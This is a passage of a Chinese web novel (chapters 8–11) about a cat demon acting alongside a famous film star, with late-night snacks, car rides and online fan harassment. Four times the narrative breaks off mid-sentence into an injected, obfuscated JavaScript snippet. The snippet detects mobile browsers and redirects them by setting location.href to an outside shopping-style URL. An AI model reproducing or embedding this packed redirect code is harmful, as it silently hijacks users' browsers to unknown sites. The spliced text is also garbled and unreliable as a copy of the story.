【“薄砚”撤回了一条消息】 【薄砚:回来了和我说一声,我等你。】 8. 第8章 几秒钟后,江泠回复了一个【好】。 薄砚放下手机,从橱柜里取出一套保温饭盒,将菜分出一半装进去。 “别动,我来装。”唐冰见状连忙上前接过饭盒,将饭菜一层层码好,“你这是要干嘛?留着晚上吃?” 薄砚摇摇头:“这是给江泠的,我想请他吃宵夜。” “江影帝什么时候收工?”唐冰问道。 “他说十点多。”薄砚回答道。 “这个时间确实只能吃宵夜了。”唐冰将保温饭盒收到一边,转头对薄砚说道,“你不是饿了吗?先吃饭吧,今天天气不太好,菜凉得快。” 今天的天气确实不太好,窗外光线暗淡,偶尔有几缕微风从窗户缝隙里钻进来,带着潮湿的寒意,让人不自觉地裹紧身上的外套。 随着时间推移,气温越来越低。薄砚觉得冷,索性变回原型,缩成一团窝在沙发上看电视。 墙上的挂钟滴答作响,终于在十点五十分的时候,江泠发来一条微信消息:【我回来了。】 薄砚扔下手机,一跃而起,化作人形后抓起茶几上的保温饭盒,径直去敲江泠的门。 “请你吃宵夜。” 江泠接过饭盒,开口道:“门口很冷,快进来。” 薄砚被他拉进房间,怀里瞬间被塞了一堆小零食。他下意识地吃了几分钟,才猛然反应过来,自己原本打算送完宵夜就回去睡觉的。 “好吃吗?”江泠笑着问道。 薄砚盯着怀里的小零食,不由自主地点了点头。 江泠从柜子里拉出一个行李箱,里面满满当当堆着各种零食。 “这些都是我经纪人准备的,你带回房间慢慢吃吧。” 薄砚下意识伸出手,犹豫了一下,又缩回去。 他请江泠吃宵夜,是为了道歉,他没及时回复消息,害江泠等了很久。宵夜是他的道歉礼物,如果带着零食走了,仿佛他送宵夜的目的就是用它来交换零食似的。 江泠问道:“不喜欢吗?” “没有。”薄砚眨了眨眼睛,转移话题道,“你今天淋了雨,快去洗个热水澡吧,别感冒了。” 江泠迟疑道:“我洗澡要二十多分钟……” “没关系,我等你。”薄砚边说边盯着行李箱里的各种零食,二十分钟够他吃好多零食了。 江泠的眸中闪过一丝笑意:“好。” 见他走进浴室,薄砚迫不及待地蹲到行李箱前,扫视着里面各种花花绿绿的包装。 “这个看起来不错,这个看起来也不错……”他挑了半天,最终选了一包画着小鱼的薯片举到眼前,闻了闻,拆开包装心满意足地吃起来。 酥脆的口感直击味蕾,咸鲜的味道恰到好处,薄砚忍不住眯起眼睛,露出满足的表情。一片接一片地吃着,不知不觉一包薯片就见了底。 "好吃吗?"江泠不知什么时候洗完了澡,披着浴袍走出来。 薄砚抓着空薯片袋,眼神飘忽地点了点头。 对面那人心虚的模样,像极了保温饭盒上印着的小花猫。江泠勾了勾唇,将饭盒一层层打开。 最上面一层是西红柿炒鸡蛋,鲜艳的汤汁包裹着嫩黄的鸡蛋块,酸甜的香味扑鼻而来;中间一层是凉拌腐竹,腐竹被切成小段,配上过油炒香的花生米,淋着香油和生抽,清爽可口。 “好香啊!”江泠感叹道。 薄砚催促他:“下边还有呢。” 第三层是冒着热气的白米饭,粒粒分明,散发着淡淡的米香。江泠打开最后一层,里面整整齐齐地码着各种口味的软糖。 薄砚解释道:“这些菜都是唐冰做的,但米饭是我蒸的,软糖也是我准备的,你可以当做饭后甜点。” “谢谢,我很喜欢吃软糖。”江泠说着,剥开一颗蓝莓味的软糖放进嘴里。 薄砚满意地翘起唇角:“先吃饭吧,今天天气不太好,菜凉得快。” “我能拍照发微博吗?”江泠问道。 薄砚点点头。 江泠拿起手机拍了几张照片,随后从行李箱里拿出一包画着小鱼的薯片,递到薄砚面前:“一起吃。” 薄砚接过薯片,拆开包装慢慢吃了起来。 “这个口味的薯片怎么样?”江泠突然问道。 “很好吃。”薄砚将薯片递到他面前,江泠伸手去拿,一缕发丝滑落至眼前。 薄砚的目光不由自主地被那缕发丝吸引,看它随着江泠吃饭的动作轻轻晃动。最后他终于忍不住了,伸手将那缕发丝拨到一旁。 江泠攥住他的手腕:“怎么了?” 薄砚挣扎了一下:“你头发挡眼睛了,我帮你拨开。” “好的,谢谢。”江泠晃了两下他的手腕,笑着松开手。 这人什么意思?逗猫呢?薄砚生气地瞪了他一眼,却正好撞进对方的笑容里。 薄砚发现这个人类笑起来的时候,眼睛会弯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17023655|194291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成好看的弧度,眼尾微微上挑,像他小时候画过的一幅水墨画。 “怎么了?”江泠问道。 薄砚:…… 算了,没什么可计较的,反正他本来就是一只猫。 “你觉得这些菜的味道怎么样?”吃完宵夜后,薄砚问道。 “特别好,跟剧组的盒饭一比,你送的宵夜简直是山珍海味。”江泠无奈道。 “唐冰听到你这么夸他,一定会很开心的。”薄砚说着就要给唐冰发消息,手伸进口袋才想起自己没带手机。 江泠拿出手机:“我发吧,本来也要向他道谢的。” 薄砚看了看墙上的挂钟,开口道:“明天再说吧,这个时间他应该已经睡了。唐冰很能睡的,每天早上叫他起床都得花很长时间。” “要不以后你坐我的车去片场?”江泠提议道,“正好让唐冰多睡会儿。” 薄砚犹豫片刻,开口道:“我问问唐冰的意见吧。” 江泠按住他的肩膀:“唐冰已经睡了,咱们就别打扰他了。” 薄砚觉得他说得有道理,点点头。 “那我给小石打个电话。” 江泠拨通电话,开始安排明天一起坐车的事。薄砚疑惑地看着他,自己什么时候同意了?回想一下,大概是这人把他刚才的点头当成了同意。 安排好坐车事宜之后,江泠挂断电话,刚要放下手机,突然收到一条新消息。他低头瞥了一眼屏幕,没有回复。 薄砚看着他,莫名觉得白天拍背影戏时,这人身边那层无形的屏障又出现了,将他与外界隔绝开来。 江泠收起手机,笑了笑:“晚安,明早见。” “这边空气挺好的,星星应该很亮。”薄砚走到阳台边,推开窗。 “是吗?”江泠走过去。 两人一起望向夜空。厚重的云层铺在天际,遮蔽了璀璨的星光和皎洁的月色。偶尔有几缕微弱的光想要穿透云层,却很快被吞没在黑暗之中。 江泠无奈道:“今晚没有星星。” “有的。” 薄砚从口袋里掏出十几颗银质的小星星,又掏出一颗月光石打磨而成的月亮:“不仅有星星,还有月亮。” 马岛彩月散发着柔和的光晕,仿佛将夜空中最温柔的那轮明月摘了下来。周围的小星星闪烁着细碎的光芒,与月亮交相辉映。 薄砚将星月放在江泠手上:“这算是一个星期的车费,提前付给你。” 9. 第9章 江泠伸出手,接过这份“车费”。丝丝凉意透过掌心传来,像是握住了一片凝固的月光。他看着掌心里的明月,轻声道:“好。” 薄砚自认为付的车费不少,便提出额外要求道:“可以带一些小零食去片场吗?” 江泠看着他:“你想吃什么?” 薄砚蹲在行李箱边选了半天,开口道:“都行。” “都想吃?”江泠点点头,“好的,我知道了。” 薄砚:…… 次日一大早,薄砚变回原形,跳进唐冰的房间里,在他被子上狠狠踩了几脚。 唐冰被吵醒,痛苦地揉着眼睛。他上辈子到底是造了什么孽,才会和这么一只没有人性的猫做邻居。 而那只没有人性的猫已经化成人形,心满意足地下楼搭顺风车了。 助理热情地打招呼道:“砚哥,早上好!” 薄砚问道:“我坐哪儿?” 助理:“你想坐哪儿都行,随意。” 薄砚点点头,在后排的另一侧坐下。他今天戴了顶毛线帽,帽檐两侧的带子上分别缀着一个毛线球。带子很长,毛线球垂在胸前,汽车缓缓启动,薄砚有一搭没一搭地拨弄着毛线球。 助理问道:“砚哥,你冷吗?要不我把空调开大点儿?” 薄砚摇摇头:“不冷。” “哦,看你戴着帽子,我还以为你冷呢。”助理说道。 薄砚看着他:“你猜一猜我为什么戴帽子,三次之内猜对就算你赢,我送你一个小礼物。” 听到有礼物收,助理立马来劲儿了,然而他猜了好几种可能都不对。 “总不能是为了配合整体穿搭吧,可你穿的这身衣服和毛线帽也不搭啊……”助理苦思冥想之际还不忘拍马屁,“砚哥,这种松松垮垮,哦不,仙风道骨的衣服也就你穿才好看了!” 薄砚眨眨眼:“江泠穿不好看吗?” 助理:…… 完蛋,聊得太上头了,忘记了车上还坐着自己的老板。 他连忙补救道:“跟着我哥拍戏这么多年,他好看这件事我已经习以为常了。泠哥,要不然你也猜一下砚哥为什么戴帽子?” 江泠勾了勾唇:“为了玩。” 薄砚:…… 这个人类怎么回事,难不成演技和智商也挂钩的吗? 江泠伸出手:“我的礼物呢?” 薄砚在口袋里掏了掏,开口道:“先欠着吧,拍完戏之后再补给你。” 江泠握住他的手腕,勾了勾他的小指:“拉钩。” 薄砚的手是温热的,作为一只猫妖,他的体温本来就比正常人要高一些;江泠的手却很凉,像刚从冰水里捞出来的玉石。 皮肤相触的瞬间,温差激起的颤栗让两个人都微微一顿。 “我不会赖账的。”薄砚收回手,不自在地蜷了蜷手指。 江泠的视线从他手上扫过:“好。” 助理小石的开车技术很好,又快又稳,很快他们就到了片场。江泠和薄砚去化妆,助理坐在椅子上,百无聊赖地刷着手机。 微博突然弹出一条特别关注的推送,助理连忙点进去,发现江泠发了一张软糖的图片。 助理闲着没事,点开图片仔细数起软糖的数量。过了一会儿,手机铃声突然响起,江泠的经纪人陆晴来电话了。 “晴姐?”助理接起电话。 “江泠又发新微博了。”陆晴的声音从电话那头传来。 助理点点头:“我看到了,发了17颗软糖。怎么了晴姐?这些软糖有问题吗?” “不是软糖的事。”陆晴的声音里透着少见的凝重。 她从江泠拍第一部戏开始就带着他,一路看着他从新人成长为手握两座影帝奖杯的顶级演员。她太了解这位祖宗的性格了。表面上肆意张扬、无所顾忌,骨子里却是一副什么都不在乎、什么都不留恋的冷心肠。 出道这么多年,江泠从未在任何社交平台上分享过私生活。不工作的时候,他就像人间蒸发了一样,连她这个经纪人都找不到人。 思考了片刻,陆晴开口问道:“江泠最近在剧组,有结识什么新的人吗?” “新的人?”助理皱着眉想了半天,电影《绿荫》里的角色众多,经常有新演员进组,不过那些小演员好像都有点怕他哥,不太敢主动跟他哥打招呼。 助理苦思冥想着,突然看到江泠和薄砚并肩从休息室里走出来。他立马开口道:“有,一个原定好的演员塌房了,剧组请了一个新演员代替,叫——” 脱口而出的瞬间,助理突然想起薄砚的名字要保密,便把后半截话咽了回去,含含糊糊道:“他性格挺有意思的,感觉我哥和他相处得挺开心。” 陆晴又问道:“这个演员好看吗?” 助理转头看向薄砚。 薄砚穿着一件白色戏服,宽大的袖子在风里翻飞。助理从来没有见过这样的人,仿佛他并不属于这个喧嚣的片场,也不属于这个烟火气十足的城市。 “那可真是太好看了。”助理呆呆道。 陆晴:…… 看来她得去片场一趟了。 挂断电话后,助理跑进休息室:“泠哥,刚才晴姐给我打电话了,她问我你在剧组有没有结识什么新的人。我就说你跟砚哥关系挺好的,不过你放心,我绝对没有泄露砚哥的真实姓名!” “晴姐还问我砚哥长得怎么样,我说很好看,晴姐在那头突然就没声音了,然后直接挂了电话。我都不知道怎么回事,一头雾水的。” 江泠点点头,从口袋里拿出一颗番石榴味的软糖。 助理指着软糖道:“这不是你微博上发的那些软糖吗?我看了一下评论区,粉丝们都在找同款呢,但目前还没人扒出来这款软糖是什么牌子的。” 江泠漫不经心道:“薄砚给的,我也不知道是什么牌子。” 助理盯着他手上的软糖看了看:“可不是嘛,这糖纸都是透明的,上面连个字都没有,更别说什么品牌信息了。” “这种软糖一般会有一个大包装,品牌信息都印在上面。”助理继续分析道。 江泠:“薄砚给我的就是这样一颗一颗的,没有大包装。” 助理惊讶道:“原来这些软糖是砚哥给的啊,我还想了半天它们是从哪里来的,因为晴姐准备的零食里没有软糖,剧组发的盒饭里就更不可能有软糖了!” 江泠淡淡道:“昨晚薄砚送宵夜的时候,带了软糖。” 助理张大嘴:“砚哥请你吃宵夜了?” “嗯。” 助理愣住了。想起先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17023656|194291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前经纪人的那一通电话,他莫名觉得有什么不对,但又想不通具体哪里不对。 直到第一场戏拍完之后,他还在想软糖、宵夜,以及那一通电话的事。 薄砚以为他想吃糖,便从外套口袋里掏出一把软糖递给他。 助理连忙道谢:“谢谢砚哥,你人真好!” 江泠笑着问道:“你这是什么储物袋吗?” “这是乾坤袋。”薄砚纠正道。 助理剥开一颗软糖塞进嘴里,酸甜的果汁在舌尖爆开,像是把整个夏天的水果都浓缩在了这一颗小小的糖里。 “砚哥,这软糖是什么牌子的呀?这也太好吃了吧!”助理惊叹道。 薄砚抿了抿唇:“这些都是唐冰买的,我也不知道是什么牌子。” “哦。”助理傻乎乎地看着薄砚。他觉得薄砚的脾气很好,虽然总是冷着脸,不怎么笑,但自己说的话他都会认真回应。 于是助理得寸进尺地缠着薄砚聊天,正聊得起劲,不远处突然传来一声猫叫。 薄砚转过头,发现编剧抱着一只布偶猫走过来。那只布偶猫打扮得很漂亮,穿着一身精致的洛丽塔小裙子,头上还戴着一顶蕾丝花边礼帽,帽檐周围装饰着同色系的缎带和蝴蝶结。 助理感叹道:“不愧是仙女猫,真可爱啊,穿的衣服也很漂亮。” 见薄砚盯着那只猫看,助理解释道:“这只猫是编剧养的,叫球球,是一只明星猫,球球还有自己的微博账号呢!” 作为一只明星猫,球球并不害怕陌生人,别人拍照的时候,它还会配合地眨眨眼睛。李导忍不住笑道:“这小猫咪,比某些演员还要有镜头感!” 助理赞同地点点头:“毕竟是明星猫嘛。” 薄砚问江泠:“你觉得球球可爱吗?” 江泠逗他:“我觉得煤球更可爱。” 薄砚:…… 他幻想了一下隔壁那颗煤球穿小裙子的模样,忍不住打了一个寒战。 助理开口道:“砚哥你不知道,前两天片场来了一只胖乎乎的银色小猫,特别漂亮,就是脾气不太好,踹了我好几脚。” 薄砚盯着他:“那只小猫很胖吗?” 助理点点头:“毛茸茸胖乎乎的,特别可爱。” 薄砚:“……可能他只是毛长,不是胖。” 助理挠挠头:“是吗?” 球球这次来剧组,是要和一位影后级的前辈搭戏,拍摄地点选在了山上的一处民居。薄砚听姐姐说过,那位前辈演技精湛,因此开拍的时候,他也去现场观摩学习了。 拍摄结束已近中午时分,一行人返回片场。两个小演员鼓起勇气向那位前辈老师要签名,薄砚见状也走过去要了一张。 前辈为人随和,听说薄砚的姐姐也是自己的影迷,便爽快地给他签了两张,一张给他,一张让他带给姐姐。 薄砚拍下签名给姐姐发过去,那只叫“球球”的布偶猫突然喵喵叫着朝他走过来。 薄砚不喜欢陌生的猫,忍不住后退了一步。球球仍然在靠近,他只好又退了一步。 陆晴刚赶到片场,看到的就是这样一幅画面。 薄砚和猫对峙着,一步步后退,眼看就要撞到江泠身上,江泠却没有躲开,反而腾出一只手,一把搂住了他。 10. 第10章 陆晴心梗了一瞬。她看得清清楚楚,那个祖宗原本是用右手拿着剧本的,但他特意换到左手,就是为了更方便地接住人。 薄砚转头看江泠:“干嘛挡路?” 江泠:“你怕它?” 薄砚:“不怕,但也不喜欢。” 江泠逗他:“对,你只喜欢你家煤球。” 薄砚:…… 前有步步紧追的傻猫,后有说话可恶的人类,他果断转身,离开这个不详之地。 陆晴走上前,江泠叫了一声“晴姐”。陆晴一直在忙,电影《绿荫》开拍一个多月了,这还是她第一次来剧组探班。 见她一副没眼看的样子,江泠失笑。 陆晴跟着江泠走进休息室,开门见山地问道:“刚才那个艺人叫什么名字?是哪个公司的?” 江泠倒了一杯水给她:“他叫薄砚,砚台的砚。” 听到这个姓氏,陆晴心里顿时有了底,看来她不用担心自家艺人被什么阿猫阿狗捆绑营销、借机上位了。但面对这位祖宗,不担心这个,也还有别的许多让人操心的地方。 陆晴忧心忡忡地开口道:“将来你要是真谈恋爱了,一定要记得第一时间通知我,别让大伙毫无准备。我不希望最先得知你恋情的是媒体。” 犹豫了一下,她又说道:“别看网友们嗑男男cp嗑得如火如荼,真爆出来就不一样了,就算你是影帝,也同样会受到影响。” 江泠懒洋洋的,一副无所谓的模样。 陆晴看到他的态度就来气:“你是不是想说‘未来千变万化,没什么是永恒的,预设未来只会自找麻烦,自寻苦恼’?” 江泠无奈道:“我可什么都没说。” 陆晴更生气了:“当初我签你的时候,认认真真帮你规划未来十年的发展,你倒好,轻飘飘来一句‘十年后你不一定还是我的经纪人’,差点给我整不会了。” 江泠笑着道歉:“我的错,年底给大家多发奖金。” 陆晴捂着胸口道:“你乖点儿,少作妖,大家就心满意足了。” 江泠勾了勾唇:“我又不是妖,怎么会作妖呢?” 然而此时此刻,真正的妖却被一只猫撵得四处逃窜。 薄砚瞪着球球:“你别跟着我了,虽然咱俩都是猫,但我目前没有交朋友的打算,更没有——” 唐冰刚好走过来,连忙打断他的话:“求你了,换个词。” “好吧。”薄砚从善如流地改口道,“更没有谈恋爱的打算。” 唐冰抱起喵喵叫的球球,把它还给编剧,拉着薄砚走进休息室,道:“我来找你商量一下角色官宣的事情。” 薄砚:“官宣?” 唐冰解释道:“就是剧组公布演员阵容。” 薄砚点点头。 唐冰又说道:“官宣之后你可能会挨骂,虽说是那个叫路棋的演员塌房了,他的角色才换成了你,但他的粉丝一定会迁怒到你身上。要不要让你姐的团队提前准备着?” 薄砚:“不用。” 唐冰:“也是,反正你只拍这一部,又不打算进娱乐圈。不过官宣的时候需要艾特演员本人,你还得起个艺名。” 薄砚:“懒得想,你帮我想吧。” 唐冰思索片刻:“姓氏肯定得换一个,名字也得换,不如就叫‘白言’吧。” 定好艺名之后,电影《绿荫》剧组正式公布了全体出演名单,#电影绿荫官宣全阵容#迅速冲上热搜。 有知名度的演员纷纷登上热搜,江泠更是直接冲到了热搜第一,而薄砚则被路棋的粉丝骂上了热搜。 娱乐贰哥v:#湖妖路棋 白言#江影帝主演的电影绿荫正式官宣了,阵容十分豪华,只有湖妖的扮演者是个新人。看番位湖妖的戏份不算少,一个新人真的能演好这个角色吗? 评论区很热闹,路棋的粉丝、吃瓜看热闹的路人、路棋对家粉,齐聚于此。 【那必然是演不好的。】 【这年头演技根本不重要,后台才重要(微笑)】 【人家又没有故意抢角色,路棋是因为塌房才被换的吧(纯路人,不信可查主页)】 【可能在这些脑残粉眼里,她们家哥哥压根儿就没有塌房吧。】 【捆绑路棋上热搜上的爽吗(捂嘴哭)做人不要太剑,得了便宜还卖乖(捂嘴哭)】 【有一说一,虽然路棋塌了,但他的演技还不错。】 【别太搞笑,娱乐圈演技好的男演员就只有路棋一个吗?】 【楼上二位已经演得不知天地为何物了,路僵没有演技哈,望周知。】 【湖妖#白言#是什么意思?是因为演员没有注册微博,没法艾特,所以只能带tag吗?】 【连微博都不注册,狂什么呢,现在一些老戏骨都有微博账号了。】 薄砚疑惑地问唐冰:“不注册微博就是狂吗?” 唐冰茫然摇头:“不知道啊,咱们那儿也不流行微博这个东西啊。” 薄砚又问道:“他们为什么要在骂人的话后边加一个微笑的表情?” “这个我知道,微笑是阴阳怪气的意思。”唐冰说着点开微信对话框,查看新消息,“剧组那边已经在撤热搜了。” “这么快。”薄砚遗憾地叹了口气,他还想多看会儿热闹呢,这群人类太有意思了。 助理也看到了网上发生的事,气冲冲地来休息室找薄砚:“路棋的粉丝太可恶了,砚哥你别担心,我帮你骂回去,我有五个小号!” 薄砚见他气得脸都红了,安慰道:“没关系的。” 助理问他:“砚哥,你不生气吗?” 薄砚摇头道:“不生气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17023657|194291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “砚哥,我能在你这里多待一会儿吗?我哥一整个下午都在拍戏,我好无聊。”助理星星眼看薄砚。薄砚点点头,还投喂了他不少软糖。 下午三点,剧组依次发布了每个角色的剧照,随后又发布了一张电影概念海报。 湖妖剧照的微博下面,立刻涌来大批舔屏路人。 【这个颜值演精怪,很难不让人信服啊!】 【就冲着这颜值,将来我高低得去电影院尝尝咸淡。】 【救命,真的好好看,这是凡间能拥有的美貌吗(流口水)】 【我宣布,这就是我的梦中情0】 【楼上起开,这明明就是我老公。】 【美貌是第一生产力,救命,我突然有点想拉郎了,谁来阻止我一下(不要拦着我.jpg)】 【拉谁,江泠吗?】 来舔屏的路人络绎不绝,甚至有人建起了超话,就这么聚集起了一小批初代粉丝。 路棋的粉丝见状,骂得更难听了。 【谁知道是不是P的。】 【有一说一,李导的剧组从来都不允许演员P图。】 【恭喜,娱乐圈又上新花瓶了。】 【我只想知道一个新人是怎么拿到湖妖这个角色的。】 【潜规则呗。】 唐冰摇醒睡着的薄砚:“恭喜你,又上热搜了。不过这回是因为颜值上的热搜,评论区很多人都夸你好看呢。” 薄砚打了个哈欠,问道:“小石呢?” 唐冰:“江影帝的戏份快拍完了,小石去找他了。” “哦。”薄砚伸了个懒腰,对唐冰说道,“你把那些夸我好看的话截成图片,发给煤球。” 唐冰:“你别自取其辱了,戚夏超话有一百万粉丝,你超话只有1280人,夸他的人肯定比夸你的人多啊!” 薄砚问道:“煤球到底是干嘛的,怎么会有这么多粉丝?” 唐冰无语道:“模特。我求求你了,睁开眼看看月轮山吧,你知道你姐拍过几部戏吗?” 薄砚:“你知道?” 唐冰:…… 好吧,其实他也不知道。 薄砚又问道:“煤球比炭还黑,为什么会有那么多粉丝?” 唐冰:“煤球,不,戚夏化成人形不黑好吗?你化成人形也不胖啊!” 薄砚踹了他一脚:“我猫形也不胖。” - 江泠拍完戏已经五点多了,助理把水杯递过去:“快喝口水吧,哥,这一下午辛苦了。对了,今天剧组官宣演员阵容,我帮你转发了。” 江泠点点头,想起什么又问道:“薄砚怎么样?” 助理将手机递给他,叹了口气道:“路棋流量挺大的,砚哥被他的粉丝骂惨了。” 江泠瞬间沉下面色。 11. 第11章 助理看他的表情就知道要完蛋,连忙顺毛道:“泠哥,你别生气,剧组已经把负面热搜撤下去了。” 江泠点开某个词条,助理凑过去瞥了眼屏幕,解释道:“白言是砚哥取的艺名。” 江泠往下滑,翻看着词条里的内容。 助理觑着他的面色,小心翼翼开口道:“之前的负面热搜已经被剧组撤了,这条估计是路棋团队买的,我也是服了,都塌成地基了,还妄想着翻身呢!” 江泠没说什么,指尖在屏幕上点了几下,随后放下手机。助理直觉不妙,连忙打开软件。 江泠转发了湖妖剧照的微博,没有配任何文案。 只是转发一下而已,还好还好。助理拍拍胸口,提起的心刚放下一点,又被急促的电话铃声吓得抖了抖。 “我才刚走多久啊?你怎么又开始作妖了!”陆晴的声音里满是崩溃,她就不该离开剧组,就该寸步不离地盯着这个祖宗。 江泠摊手:“我什么也没说啊。” 陆晴急声道:“就是因为你没配文案,才会让人浮想联翩好吗?你倒是没说什么,但网友和营销号能给你解读出无数种意思,捕风捉影、添油加醋,怎么发散怎么来!” 江泠笑吟吟道:“那不是挺好?大家一起热闹热闹,不然多无聊。” 陆晴一口气哽在心里,缓了半天才开口道:“不过是转发条微博而已,其实也不算什么大事,顶多有人趁机嗑cp,但你入圈这么多年,嗑你cp的人还少吗?” 助理点点头:“可不是嘛,合作过的就不说了,八竿子打不着没半点交集的,也要拉郎配。” 陆晴又道:“你免提开着吧?小石,给我看好他,别让他再乱发微博了!” 小石苦着脸应了一声,他哪儿看得住这位大爷,就算他长着三头六臂,也按不住这位有七十二变神通,作妖作得五花八门的神人啊! 经纪人挂断电话,助理生怕江泠再发些什么,连忙提议道:“泠哥,要不咱们现在去砚哥的休息室找他?顺便跟他说下你转发微博的事儿。” “现在去?上赶着邀功吗?”江泠漫不经心地摩挲着手机边缘,“晚点再说。” 助理:…… 晚点再说就不算邀功了? 察觉到江泠投过来的视线,他连忙收起那副一言难尽的表情,开口道:“也不知道砚哥这会儿在干嘛。” 不远处的休息室里,唐冰将一团毛线球摆在椅子上。 一只银白长毛的小猫凑到毛线球前嗅了嗅,猫视眈眈地盯了几秒,忽然伸出爪子“啪”地拍上去。毛线球骨碌碌滚远,小猫立刻弓起脊背,闪电般地追过去,按住毛线球,兴致勃勃地扒拉起来。 毛线缠上他的爪子,小猫急得原地直蹦,甩着尾巴试图挣脱,反倒把自己缠成了一只毛绒绒的“猫线球”。 在这场与毛线的激烈交战中,小猫大获全败。他索性放弃挣扎,顶着满身毛线在地上疯跑,最后一头栽进毛线堆里,滚了好几圈。 唐冰:…… “你要是闲着无聊就回旅馆睡觉,反正李导已经把你的戏份挪到明天了。” 小猫正跟身上的毛线缠斗,闻言头也不抬地问道:“为什么?” 唐冰:“大概是怕你因为今天的事影响了心情,情绪不对演不好戏吧。话说你能不能别顶着一张猫脸说人话,很恐怖的好吗?” 小猫冲着他喵了两声。 唐冰:“听不懂,说人话。” 小猫跳起来,在他的膝盖上踹了一脚。 唐冰揉了揉膝盖:“请翻译一下你的喵语。” 小猫翻了个白眼:“先不回去,我还要去找江泠呢。” 说曹操,曹操就到,话音刚落没多久,门外便传来清脆的敲门声。 小猫连忙藏进纸盒里,唐冰应道:“请进。” 江泠走进来,目光扫过室内:“薄砚不在?” 唐冰:“李导把他的戏份挪到明天了,所以他先回旅馆休息了。江影帝找他有事?” “没有。”江泠道了声谢,走出休息室。小猫从帐篷后方钻出去,绕了一圈,跟上他的脚步。 “泠哥,你怎么这么快就回来了?砚哥呢?”助理说着看到小猫,“咦?这只猫又跟着你。” “他先回旅馆了。”江泠拿起剧本,坐在椅子上翻看起来。 助理不敢打扰他,索性点开微博,盯着网上的舆论。 江泠转发薄砚的剧照之后,那些收了钱的营销号瞬间噤声。他们摸不准江泠是什么意思,生怕这尊神一个不高兴把他们给告了,毕竟这位有事是真告。 路棋团队也摸不清江泠转发这条微博到底是剧组的意思,还是他自己的意思。不管是哪种意思,两方都不是他们能轻易得罪的,倒不如静观其变。 粉丝还有跳的,但都被吃瓜看热闹的路人压下去了。 【要不说江泠是顶流呢,不仅演的角色不重复,就连搞事都能带给人新鲜感。】 【一时竟不知搂上是夸还是贬……】 【当然是夸啊,我们全家都是江泠的路人粉(图片)】 【什么情况,怎么感觉大影帝路人缘还挺好的?】 【确实不错,一般骂他的都是带粉籍的,路人都挺喜欢他的。】 【呵呵。】 喜欢嗑cp的网友们更是激动得不行。 【这次真的不一样!!!】 【拉倒吧,你们每次都这么说。】 【不是啊,这次真的不一样,这次是大影帝主动,有人懂吗?某位影帝永远都是一副爱答不理的态度,这还是他第一次主动呢!】 【???楼上的没事吧?说得好像江泠不尊重以往的合作对象似的,就算拿他当嗑糖工具,你们也好歹尊重一下他吧?别为了嗑糖故意抹黑,好吗好吗好吗???】 【+1,江水懒得鸟你们,但江水不是死了。】 【家人们嗑归嗑,还是要注意一下言辞啊!】 江泠被拉cp多年,粉丝看到相关字眼就应激。可这条微博是江泠亲自转发的,对方也没下场蹭热度,粉丝纵有不满,也找不到开骂的理由。 助理松了口气,见江泠翻完了剧本,便提议道:“泠哥,咱们去外边坐会儿吧,傍晚的温度正好,风景也不错。” 江泠点点头。 小猫依旧寸步不离地跟着他,谁知刚踏出帐篷,他就又被球球缠上了。 球球的体型比小猫大了一倍,助理感慨道:“不比不知道,一比吓一跳,原来布偶猫的体型这么大,看脸完全看不出来啊!” 小猫一听这话顿时不乐意了,弓起脊背猛地扑向球球,吓得球球退了好几步。 小猫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17023658|194291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得意地甩了甩尾巴。然而球球似乎发现了这只同类并不打算伤害自己,壮了壮胆子又凑上来。 小猫烦死了,很凶地吓唬它。球球每次都怂怂地后退几步,又怂怂地凑上前。 助理看得惊心动魄,仿佛在观赏什么动作大片。 工作人员走过来,说道:“泠哥,下一场戏可以拍了。” 江泠站起身,嘱咐助理道:“看着点儿他,别让他被球球欺负了。” “哦。”助理应下。他疑惑地看了眼小猫,又看了眼球球,怎么看都是小猫更凶吧? 小猫也很生气。这个人类眼睛有问题吗?看不出来他更厉害?竟然还觉得他会被那只傻猫欺负! 秉持着多一事不如少一事的态度,助理抱起球球,把它还给编剧赵老师。 小猫惬意地躺在椅子上看夕阳,没想到耳根清净没多久,助理又嘀咕起来了。 